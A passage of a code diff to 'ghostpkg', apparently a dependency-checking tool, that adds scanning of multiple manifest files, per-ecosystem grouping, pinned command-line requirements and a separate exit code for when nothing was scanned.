- f"ghostpkg: {args.path} is a directory; pass a manifest file",
213
- file=sys.stderr,
214
- )
215
- return EXIT_ERROR
216
- try:
217
- names, ecosystem = load_manifest(args.path)
218
- except UnsupportedManifest as exc:
219
- print(f"ghostpkg: {exc}", file=sys.stderr)
220
- return EXIT_ERROR
221
- except (json.JSONDecodeError, UnicodeDecodeError, ValueError, OSError) as exc:
222
- print(f"ghostpkg: could not parse {args.path}: {exc}", file=sys.stderr)
223
- return EXIT_ERROR
224
- if not names:
225
- print(f"ghostpkg: no dependencies found in {args.path}", file=sys.stderr)
226
- return EXIT_OK
258
+ for path in args.paths:
259
+ if not path.exists():
260
+ print(f"ghostpkg: no such file: {path}", file=sys.stderr)
261
+ return EXIT_ERROR
262
+ if path.is_dir():
263
+ print(
264
+ f"ghostpkg: {path} is a directory; pass a manifest file",
265
+ file=sys.stderr,
266
+ )
267
+ return EXIT_ERROR
268
+ try:
269
+ found, ecosystem = load_manifest(path)
270
+ except UnsupportedManifest as exc:
271
+ print(f"ghostpkg: {exc}", file=sys.stderr)
272
+ return EXIT_ERROR
273
+ except (json.JSONDecodeError, UnicodeDecodeError, ValueError, OSError) as exc:
274
+ print(f"ghostpkg: could not parse {path}: {exc}", file=sys.stderr)
275
+ return EXIT_ERROR
276
+ by_ecosystem.setdefault(ecosystem, []).extend(found)
277
+ if not any(by_ecosystem.values()):
278
+ where = ", ".join(str(p) for p in args.paths)
279
+ print(f"ghostpkg: no dependencies found in {where}", file=sys.stderr)
280
+ # Not the same as "checked, all clean": a manifest we failed to
281
+ # understand used to exit 0 and read as a pass in CI.
282
+ return EXIT_NOTHING_SCANNED
227
283
  else:
228
- names, ecosystem = args.names, args.ecosystem
284
+ # Accept a pin on the command line too: `ghostpkg check requests==2.31.0`.
285
+ by_ecosystem[args.ecosystem] = parse_requirements("\n".join(args.names))
229
286
 
230
287
  cache = Cache(enabled=not args.no_cache)
231
- findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
288
+ findings: list[Finding] = []
289
+ for ecosystem, requirements in by_ecosystem.items():
290
+ if requirements:
291
+ findings.extend(
292
+ evaluate(
293
+ requirements, ecosystem, args.strict, cache, args.deep, args.workers
294
+ )
295
+ )
232
296
 
233
297
  if args.json:
234
298
  print(